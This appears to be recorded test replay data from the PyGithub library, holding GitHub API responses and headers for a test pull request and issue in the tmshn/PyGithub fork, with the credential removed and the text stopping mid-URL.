{"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","id":141616402,"html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"2ac60d06a42e248d0ce681070ff323edaeac47d2","assignee":null,"assignees":[],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04","head":{"label":"tmshn:issue-to-pull","ref":"issue-to-pull","sha":"2f1b3257b402d6b82033fde766a5394f4e980c04","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"tmshn:master","ref":"master","sha":"3437a7030f02a1648290db581621936eb5771b69","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2"},"html":{"href":"https://github.com/tmshn/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04"}},"author_association":"OWNER","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":22,"deletions":0,"changed_files":2} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue572.testPullReqeustAsIssue.txt0000644000175100001660000004361714756101563024741 0ustar00runnerdockerhttps GET api.github.com None /repos/tmshn/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '13858'), ('x-runtime-rack', '0.117462'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c734b968529b43c1dafb7f9d20e0c8e8"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DD:15E9B:473500:5D1524:59BFD78A'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:19 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","id":141616402,"html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"2ac60d06a42e248d0ce681070ff323edaeac47d2","assignee":null,"assignees":[],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04","head":{"label":"tmshn:issue-to-pull","ref":"issue-to-pull","sha":"2f1b3257b402d6b82033fde766a5394f4e980c04","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"tmshn:master","ref":"master","sha":"3437a7030f02a1648290db581621936eb5771b69","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2"},"html":{"href":"https://github.com/tmshn/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04"}},"author_association":"OWNER","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":22,"deletions":0,"changed_files":2} https GET api.github.com None /repos/tmshn/PyGithub/issues/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1930'), ('x-runtime-rack', '0.066580'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"ae937c52e48359e25263e774150f5b9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DE:15E9B:47354C:5D1581:59BFD78B'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:20 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","repository_url":"https://api.github.com/repos/tmshn/PyGithub","labels_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/events","html_url":"https://github.com/tmshn/PyGithub/pull/2","id":258498982,"number":2,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"author_association":"OWNER","pull_request":{"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyG